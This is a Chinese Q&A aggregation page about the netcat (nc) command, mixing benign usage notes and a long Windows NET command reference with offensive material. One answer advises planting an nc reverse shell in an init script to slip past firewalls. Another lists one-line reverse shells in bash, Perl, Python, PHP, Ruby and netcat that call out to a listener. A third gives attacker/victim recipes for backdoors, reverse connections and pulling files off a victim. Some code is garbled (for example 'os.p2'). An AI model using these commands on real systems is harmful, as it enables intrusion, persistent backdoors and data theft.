导航:首页 > 程序命令 > netcat命令

netcat命令

发布时间:2022-11-18 18:03:45

1. linux nc命令详解 Linux nc命令怎么用

Linux中nc命令是一个功能强大的网络工具,全称是netcat。

语法:
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
参数说明:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
实例:
1、TCP端口扫描
# nc -v -z -w2 127.0.0.1 1-100
Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!
Connection to 127.0.0.1 53 port [tcp/domain] succeeded!
Connection to 127.0.0.1 80 port [tcp/http] succeeded!
...
nc: connect to 127.0.0.1 port 100 (tcp) failed: Connection refused

2、从192.168.1.2拷贝文件到192.168.1.3
首先在接收端192.168.1.3上: nc -l 1234 > test.txt
然后在发送端192.168.1.2上: nc 192.168.1.3 < test.txt
注意:先运行接收端,指定一个端口为1234,文件为test.txt,再执行发送端,并且发送端必须存在同名的文件test.txt

3、传输目录
从server1(192.168.16.233)拷贝nginx目录内容到server2(192.168.48.47)上。需要先在server2上,用nc激活监听,
server2上运行:# nc -l 1234 | tar xzv-
server1上运行:# tar czv- nginx | nc 192.168.48.47 1234

4、简单聊天工具
在192.168.1.2上: nc -l 1234
在192.168.1.3上: nc 192.168.1.2 1234
这样,双方就可以相互交流了。使用ctrl+C(或D)退出

2. 为什么CentOS或Redhat的netcat命令中没有-e选项,如何才能使用此选项。不想重新编译安装。

我觉得,之所以没有这个-e参数是为了防止被控方(centos)的操作人员设置后门,
你可以尝试到etc/init.d下写一个nc的启动脚本,利用由内向外的反向链接-c参数反弹bash(可以越过防火墙)大概是“nc -nv ip地址 53 -c bash“
在攻击方进行侦听53DNS端口,等着鱼儿上钩吧!!

3. linux怎么安装netcat

etcat-0.7.1.tar.gz
然后当然是解压
tar zxvf netcat-0.7.1.tar.gz

解压完毕之后会生成目录,要cd进去
cd netcat-0.7.1
然后进行编译前的配置。
./configure

配置完了之后就可以make编译了。

编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat -h.如图

本地Windows监听
nc -vv -l -p 1234

远程Windows转发
nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234

远程Linux转发
./netcat 8.8.8.8 1234 -e /bin/sh
ReverseShell.c
ReverseShell.pl
ReverseShell.py
phpspy.php

———————NetCat for linux 参数e————————-
下载netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make
cd src
./netcat -h
——————————————————————–

一句话反弹命令
[Bash]
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

[PERL]
perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

[python]
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.p2(s.fileno(),0); os.p2(s.fileno(),1); os.p2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

[PHP]
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’

[Ruby]
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

[Netcat]
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

4. 电脑常识:DOS命令之NC的定义和用法是

NC(netcat)的使用方法!
连接到某处:nc [-options] hostname port[s] [ports].....
监听某端口等待连接:nc -l -p port [options] [hostname] [port] -options
-d 后台运行
-e prog 程序重定向,一旦有连接,就执行绑定的程序。
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i 设定延时时间。
-l 监听方式,等待连入。连接完成后,结束监听。
-L 监听方式,等待连入。连接完成后,继续监听。
-n 只能使用ip地址。
-o file 指定要传送的16进制代码。
-p port 指定本地的端口号。
-r 随意指定本地或远程端口号。
-s addr 本地的源地址。
-t 回显telnet信息。
-u UDP方式。
-v 显示详细的信息,-vv 可获取更详细的信息。
-w 指定超时的时间。
-z 用于scan。
以上就是nc的一些参数和选项,注意,这是nt版本的nc。如果是*nix的需要自己编译。也都差不多,只是netcat.c默认是没有-t和-e这个两个参数,要改。
看看它能干些什么,(偶就知道这些)
1.端口的刺探:
nc -vv ip port
2.扫描器
nc -v -w 5 ip port-port
nc -v -z ip port-port
3. 后门
victim machine:
nc -l -p port -e cmd.exe
nc -l -p port -e /bin/sh
attacker machine:
nc victim ip -p port
得到一个shell。
4.反向连接
attacker machine:
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker ip port1 | cmd.exe | nc attacker ip port2
nc attacker ip port1 | /bin/sh | nc attacker ip port2
5.传送文件:
attacker machine <-- victim machine
nc -d -l -p port < path file /*attacker machine*/
nc -vv attacker ip -p port > path file /*victim machine*/
attacker machine --> victim machine
nc -vv -l -p > patm file/*victim machine*/
nc -d victim ip -p port < path file /*attacker machine*/

5. Linux中如何检查开放端口

场景一:了解系统开放的端口,和正在使用的端口,在各种情况下都会有所帮助。

比如:如果你的服务器正在运行着 Nginx,那么其端口应该为80或者443,可以检查一下。再比如你可以检查一下 SMTP、SSH或者其他服务用的是哪个端口。当有新的服务需要开放端口的时候,你需要知道目前已经被占用的,都有哪些端口。

此外,可以检查一下是否有开放的可用于入侵检测的端口。

Linux 中有多种检查端口的方法,本文将介绍两种。

使用 lsof 检查当前系统开放的端口

不管你是直接登录的系统,还是使用 ssh 连接的,都可以使用 lsof 命令来检查端口:

该命令用于查找用户使用的文件和进程。上述命令中的选项,包括:

但是,这也会展示许多计算机并没有监听的其他端口。

我们可以通过管道将此输出传输到 grep,并匹配模式 “LISTEN”,如下所示:

这样就只显示计算机正在监听的,以及正在运行的服务器所占用的端口。

使用 netcat 命令检查远程服务器上的端口

nc(Netcat) 是一个命令行实用程序,使用TCP和UDP协议在网络计算机之间读取和写入数据。

以下是nc命令的语法:

这个工具有一个很实用的 -z 选项,它会让 nc 命令扫描正在监听的守护进程,但是不会向端口发送任何数据。

将其与 -v 选项结合,启动详细信息,会有详细信息的输出。

losf与nc的不同点:

lsof命令简介

lsof 命令用于显示 Linux 系统当前已打开的所有文件列表。查看进程或系统打开的文件会给调试带来极大的帮助。下面简单地介绍 lsof 常使用的功能。

lsof (list open files)命令用于查看你进程打开的文件,打开文件的进程,进程打开的端口(TCP、UDP),还可以用于找回/恢复被删除的文件。lsof 命令需要访问核心内存和各种文件,所以需要具备 root 超级管理员权限的用户才能执行此命令。

linux的nc命令,NetCat,在网络工具中有“瑞士军刀”美誉“,是解决这个问题的工具。 nc命令安装: yum install nc

以上是看来一些文章的总结分享内容,欢迎补充讨论。

6. 怎么看linux服务器是否带netcat

netcat这个工具的命令是nc,只需要在终端命令行执行nc命令,如果命令行提示没有找到命令(Command no found),就说明Linux系统上没有netcat;反之,如果输入nc命令后显示了netcat的帮助信息,就说明Linux系统上带有netcat。

7. 什么是Linux系统中nc命令

Linux中nc命令是一个功能强大的网络工具,全称是netcat。

测试使用

在一个终端上 输入 nc -lk 9999

输入数据。。。
新开启一个终端
输入 nc ip:9999

就可以看到上一个终端输入的数据

8. 常用的几条NET命令高手给介绍几条

以下有很多,常用的有net use,net user,net time,net stop/start 等
3)NET USE

作用:连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。

命令格式:net use [devicename | *] [\\computername\sharename[\volume> [password | *> [/user:[domainname\]username]

参数介绍:

键入不带参数的net use列出网络连接。

devicename指定要连接到的资源名称或要断开的设备名称。 \\computername\sharename服务器及共享资源的名称。

password访问共享资源的密码。

*提示键入密码。 /user指定进行连接的另外一个用户。

domainname指定另一个域。

username指定登录的用户名。

/home将用户连接到其宿主目录

/delete取消指定网络连接。

/persistent控制永久网络连接的使用。

简单事例:

<1>net use e: \\YFANG\TEMP将\\YFANG\TEMP目录建立为E盘

<2>net use e: \\YFANG\TEMP /delete断开连接

(4)NET TIME

作 用:使计算机的时钟与另一台计算机或域的时间同步。

命令格式:net time [\\computername | /domain[:name> [/set]

参数介绍:

<1>\\computername要检查或同步的服务器名。

<2>/domain[:name]指定要与其时间同步的域。

<3>/set使本计算机时钟与指定计算机或域的时钟同步。

下面的这4个参数是相关的,所以一起介绍

(5)Net Start

作 用:启动服务,或显示已启动服务的列表。

命令格式:net start service

(6)Net Pause

作 用:暂停正在运行的服务。

命令格式:net pause service

(7)Net Continue

作 用:重新激活挂起的服务。

命令格式:net continue service

(8)NET STOP

作 用:停止 Windows NT 网络服务。

命令格式:net stop service

参数介绍:我们来看看这些服务都是什么

<1>alerter(警报)

<2>client service for netware(Netware 客户端服务)

<3>clipbook server(剪贴簿服务器)

<4>computer browser(计算机浏览器)

<5>directory replicator(目录复制器)

<6>ftp publishing service (ftp )(ftp 发行服务)

<7>lpdsvc

<8>net logon(网络登录) <9>network dde网络 dde)

<10>network dde dsdm(网络 dde dsdm)

<11>network monitor agent(网络监控代理)

<12>nt lm security support provider(NT LM 安全性支持提供)

<13>ole(对象链接与嵌入)

<14>remote access connection manager(远程访问连接管理器)

<15>remote access isnsap service(远程访问 isnsap 服务)

<16>remote access server(远程访问服务器)

<17>remote procere call (rpc) locator(远程过程调用定位器)

<18>remote procere call (rpc) service(远程过程调用服务)

<19>schele(调度)

<20>server(服务器)

<21>simple tcp/ip services(简单 TCP/IP 服务)

<22>snmp

<23>spooler(后台打印程序)

<24>tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具)

<25>ups (26)workstation(工作站)

<27>messenger(信使)

<28>dhcp client

<29>eventlog 以下这些SERVICE只能在NT SERVER上使用

<< 1>>)file server for macintosh

<<2>>gateway service for netware

<<3>>microsoft dhcp server

<<4>>print server for macintosh

<<5>>remoteboot

<<6>>windows internet name service

(9)Net Statistics

作 用:显示本地工作站或服务器服务的统计记录。

命令格式:net statistics [workstation | server]

参数介绍:

<1>键入不带参数的net statistics列出其统计信息可用的运行服务。 <2>workstation显示本地工作站服务的统计信息。

<3>server显示本地服务器服务的统计信息。

简单事例:

<1>net statistics server | more显示服务器服务的统计信息

(10)Net Share

作 用:创建、删除或显示共享资源。

命令格式:net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]

参数介绍:

<1>键入不带参数的net share显示本地计算机上所有共享资源的信息。

<2>sharename是共享资源的网络名称。

<3>drive:path指定共享目录的绝对路径。

<4>/users:number设置可同时访问共享资源的最大用户数。

<5>/unlimited不限制同时访问共享资源的用户数。

<6>/remark:"text "添加关于资源的注释,注释文字用引号引住。

简单事例:

<1>net share mylove=c:\temp /remark:"my first share"以mylove为共享名共享C:\temp

<2>net share mylove /delete停止共享mylove目录

(11)Net Session

作 用:列出或断开本地计算机和与之连接的客户端的会话,也可以写为net sessions或net sess。

命令格式:net session [\\computername] [/delete]

参数介绍:

<1>键入不带参数的net session显示所有与本地计算机的会话的信息。

<2>\\computername标识要列出或断开会话的计算机。

<3>/delete结束与\\computername计算机会话并关闭本次会话期间计算机的所有?

简单事例:

<1>net session \\YFANG要显示计算机名为YFANG的客户端会话信息列表。

(12)Net Send

作 用:向网络的其他用户、计算机或通信名发送消息。

命令格式:net send {name | * | /domain[:name] | /users} message 参数介绍:

<1>name要接收发送消息的用户名、计算机名或通信名。

<2>*将消息发送到组中所有名称。

<3>/domain[:name]将消息发送到计算机域中的所有名称。

<4>/users将消息发送到与服务器连接的所有用户。

<5>message作为消息发送的文本。

简单事例:

<1>net send /users server will shutdown in 5 minutes. 给所有连接到服务器的用户发送消息

(13)Net Print

作 用:显示或控制打印作业及打印队列。

命令格式:net print [\\computername ] job# [/hold | /release | /delete]

参数介绍:

<1>computername共享打印机队列的计算机名。

<2>sharename打印队列名称。

<3>job#在打印机队列中分配给打印作业的标识号。

<4>/hold使用 job# 时,在打印机队列中使打印作业等待。

<5>/release释放保留的打印作业。

<6>/delete从打印机队列中删除打印作业。

简单事例:

<1>net print \\YFANG\SEEME列出\\YFANG计算机上SEEME打印机队列的目录

(14)Net Name

作 用:添加或删除消息名(有时也称别名),或显示计算机接收消息的名称列表。

命令格式:net name [name [/add | /delete>

参数介绍:

<1>键入不带参数的net name列出当前使用的名称。

<2>name指定接收消息的名称。

<3>/add将名称添加到计算机中。

<4>/delete从计算机中删除名称。

(15)Net Localgroup

作 用:添加、显示或更改本地组。

命令格式:net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]

参数介绍:

<1>键入不带参数的net localgroup显示服务器名称和计算机的本地组名称。

<2>groupname要添加、扩充或删除的本地组名称。

<3>/comment: "text "为新建或现有组添加注释。

<4>/domain在当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作?

<5>name [ ...]列出要添加到本地组或从本地组中删除的一个或多个用户名或组名。

<6>/add将全局组名或用户名添加到本地组中。

<7>/delete从本地组中删除组名或用户名。

简单事例:

<1>net localgroup love /add将名为love的本地组添加到本地用户帐号数据库

<2>net localgroup love显示love本地组中的用户

(16)Net Group

作 用:在 Windows NT Server 域中添加、显示或更改全局组。

命令格式:net group groupname {/add [/comment:"text "] | /delete} [/domain]

参数介绍:

<1>键入不带参数的net group显示服务器名称及服务器的组名称。

<2>groupname要添加、扩展或删除的组。

<3>/comment:"text "为新建组或现有组添加注释。 <4>/domain在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作?

<5>username[ ...]列表显示要添加到组或从组中删除的一个或多个用户。

<6>/add添加组或在组中添加用户名。

<7>/delete删除组或从组中删除用户名。

简单事例:

<1>net group love yfang1 yfang2 /add将现有用户帐号yfang1和yfang2添加到本地计算机的love组

(17)Net File

作 用:显示某服务器上所有打开的共享文件名及锁定文件数。

命令格式:net file [id [/close>

参数介绍:

<1>键入不带参数的net file获得服务器上打开文件的列表。

<2>id文件标识号。

<3>/close关闭打开的文件并释放锁定记录。

(18)Net Config

作 用:显示当前运行的可配置服务,或显示并更改某项服务的设置。

命令格式:net config [service [options>

参数介绍:

<1>键入不带参数的net config显示可配置服务的列表。

<2>service通过net config命令进行配置的服务(server或workstation)

<3>options服务的特定选项。

(19)Net Computer

作 用:从域数据库中添加或删除计算机。

命令格式:net computer \\computername {/add | /del}

参数介绍:

<1>\\computername指定要添加到域或从域中删除的计算机。

<2>/add将指定计算机添加到域。

<3>/del将指定计算机从域中删除。

简单事例:

<1>net computer \\cc /add将计算机 cc 添加到登录域

(20)Net Accounts

作 用:更新用户帐号数据库、更改密码及所有帐号的登录要求。

命令格式:net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days | unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]

参数介绍:

<1>键入不带参数的net accounts显示当前密码设置、登录时限及域信息。

<2>/forcelogoff:{minutes | no}设置当用户帐号或有效登录时间过期时

<3>/minpwlen:length设置用户帐号密码的最少字符数。

<4>/maxpwage:{days | unlimited}设置用户帐号密码有效的最大天数。

<5>/minpwage:days设置用户必须保持原密码的最小天数。

<6>/uniquepw:number要求用户更改密码时,必须在经过number次后才能重复使用 与之相同的密码。

<7>/domain在当前域的主域控制器上执行该操作。 <8>/sync当用于主域控制器时,该命令使域中所有备份域控制器同步

简单事例:

<1>net accounts /minpwlen:7

将用户帐号密码的最少字符数设置为7

----------------------上面介绍的是NET命令在WINNT下的基本用法

----------------------下面我们看看NET命令在WIN98下的基本用法

在WIN98中NET命令也有一些参数 其中有一些参数的名字和功能及简单的使用方法和WINNT下的相应的参数的用法相同

其中有

(1)NET TIME命令

(2)NET PRINT命令

(3)NET USE命令

(4)NET VIEW命令

在WIN98中NET命令有一些参数 其中有一些参数的名字和WINNT下的相应的参数的名字相同但其用法却有些不同

其中有

(1)NET START

作 用:启动相应的服务。(不能在DOS-WIN中用)

命令格式:NET START [BASIC | NWREDIR | WORKSTATION | NETBIND | NETBEUI | NWLINK] [/LIST] [/YES] [/VERBOSE]

(2)NET STOP

作 用:停止相应的服务.(不能在DOS-WIN中用)

命令格式:NET STOP [BASIC | NWREDIR | WORKSTATION | NETBEUI | NWLINK] [/YES]

在WIN98中NET命令还有一些参数是在98下才有的

其中有

(1)NET DIAG

作 用:运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息

命令格式:NET DIAGNOSTICS [/NAMES | /STATUS]

(2)NET INIT

作 用:不通过绑定来加载协议或网卡驱动(不能在DOS-WIN中用)

命令格式:NET INITIALIZE [/DYNAMIC]

(3)NET LOGOFF

作 用:断开连接的共享资源(不能在DOS-WIN中用)

(4)NET LOGON

作 用:在WORKGROUP中登陆(不能在DOS-WIN中用)

命令格式:NET LOGON [user [password | ?> [/DOMAIN:name] [/YES] [/SAVEPW:NO]

(5)NET PASSWORD

作 用:更改你的网络登陆口令(不能在DOS-WIN中用)

命令格式:NET PASSWORD \\computer | /DOMAIN:name [user [oldpassword [newpassword>]
回答者:fuping111 - 首席运营官 十二级 3-21 09:56

提问者对于答案的评价:
谢谢
评价已经被关闭 目前有 0 个人评价

50% (0) 不好
50% (0)

其他回答共 1 条
NET HELP
command
-或-
NET command /HELP

Commands available are:

NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW

NET HELP SERVICES 列出你可以启动的网路服务。
NET HELP SYNTAX 解释如何读取 NET HELP 语法行。
NET HELP command | MORE 会以一次一个萤幕的方式显示说明

9. windows10下有没有nc命令

win10 64位系统下NC可以正常使用
win10系统打开控制面板方法:方法一
1、打开开始菜单,点击所有应用。

2、找到windows系统,点击打开下级菜单,在当中找到控制面板点击打开即可。
方法二
1、点击开始菜单旁边的搜索按钮。

2、在下方搜索框中输入控制面板,然后打开上方的搜索结果即可。

阅读全文

与netcat命令相关的资料

热点内容
非科班程序员自学 浏览:799
压缩泡沫鞋底底材 浏览:217
程序员职场第一课2正确的沟通 浏览:677
遇到不合法app应该怎么办 浏览:90
汇编程序编译后的文件 浏览:77
大智慧均线源码 浏览:371
单片机排阻的作用 浏览:213
滴滴金融app被下架如何还款 浏览:210
jpg转换成pdf免费软件 浏览:741
范里安pdf 浏览:443
伪造pdf 浏览:75
能删除android文件夹吗 浏览:446
LINUX使用V2ray 浏览:797
找人帮忙注册app推广是什么 浏览:820
独立服务器如何恢复初始化 浏览:11
优秀到不能被忽视pdf 浏览:316
导游程序员家政 浏览:586
22乘28的快速算法 浏览:338
软通动力程序员节2021 浏览:847
安卓系统如何卸载安装包 浏览:872